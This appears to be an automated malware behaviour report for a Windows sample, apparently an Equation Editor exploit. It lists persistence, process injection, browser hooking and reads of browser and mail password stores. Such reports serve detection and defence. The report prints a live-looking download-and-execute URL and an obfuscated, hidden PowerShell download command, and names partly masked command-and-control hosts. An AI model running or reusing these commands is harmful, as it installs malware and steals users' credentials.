Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\wfsrujfs.lnk
- <SYSTEM32>\tasks\opera scheduled autoupdate 3131961373
Malicious functions
Creates and executes the following
- '' (downloaded from the Internet)
Creates and executes the following (exploit)
- 'C:\users\public\69577.exe'
Downloads and executes
- https://u.teknik.io/28olw.jpg as %temp%\evdwacbtpw.exe
Injects code into
the following system processes:
- <SYSTEM32>\taskhost.exe
- %WINDIR%\syswow64\explorer.exe
- %WINDIR%\explorer.exe
the following user processes:
- winword.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- C:\users\public\69577.exe
- %TEMP%\evdwacbtpw.exe
- %APPDATA%\microsoft\windows\wfsrujfs\sitvdwfw.exe
- %APPDATA%\microsoft\windows\wfsrujfs\wfsrujfs
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\c80f.tmp
- %TEMP%\c820.tmp
- %TEMP%\c830.tmp
- %TEMP%\c841.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\wfsrujfs\sitvdwfw.exe
- %APPDATA%\microsoft\windows\wfsrujfs\wfsrujfs
Deletes the following files
- %TEMP%\evdwacbtpw.exe
- %TEMP%\c80f.tmp
- %TEMP%\c820.tmp
- %TEMP%\c830.tmp
- %TEMP%\c841.tmp
Network activity
Connects to
- 'bi#.ly':80
- 'u.##knik.io':443
- 'ms###csi.com':80
- '94.##0.115.43':80
TCP
HTTP POST requests
- http://94.##0.115.43/1/
UDP
- DNS ASK bi#.ly
- DNS ASK u.##knik.io
Miscellaneous
Creates and executes the following
- '%TEMP%\evdwacbtpw.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAo...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\explorer.exe'
